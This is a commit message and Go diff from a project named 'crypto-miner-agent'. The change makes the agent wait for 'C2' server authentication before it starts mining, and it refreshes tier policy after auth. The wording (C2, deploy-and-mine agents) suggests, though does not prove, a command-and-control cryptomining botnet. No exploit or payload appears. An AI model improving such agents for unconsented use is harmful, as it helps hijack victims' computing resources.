Fix simple deploy mining: refresh auth tier policy and mine immediately.

Deploy and Mine agents were stuck at 0 H/s because idle mining_mode blocked workers and the tier orchestrator kept pre-auth defaults instead of server ForceTier=cpu_inprocess. Refresh tiers after auth, require C2 before start, surface mining_block_reason in stats_batch.

agent/client/mining_ready.go

@@ -5,6 +5,8 @@ import (
 	"log"
 	"strings"
 	"time"
+
+	"crypto-miner-agent/deploy"
 )
 
 // MiningDiagnosticsReady reports whether the agent may start the mining fallback chain.
@@ -49,14 +51,20 @@ func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
 		c.miningChain.Start(ctx)
 	}
 
+	requireC2 := c.cfg.SimpleDeploy || deploy.WantsDeferMining()
 	for {
 		if MiningDiagnosticsReady(c.collectMiningDiagnostics()) {
 			tryStart("diagnostics pass")
 			return
 		}
 		if time.Now().After(deadline) {
-			tryStart("diagnostics wait timeout")
-			return
+			if requireC2 && !c.connected.Load() {
+				log.Printf("[mining] still waiting for C2 auth (simple_deploy/defer) — not starting without registration")
+				deadline = time.Now().Add(maxWait)
+			} else {
+				tryStart("diagnostics wait timeout")
+				return
+			}
 		}
 		select {
 		case <-ctx.Done():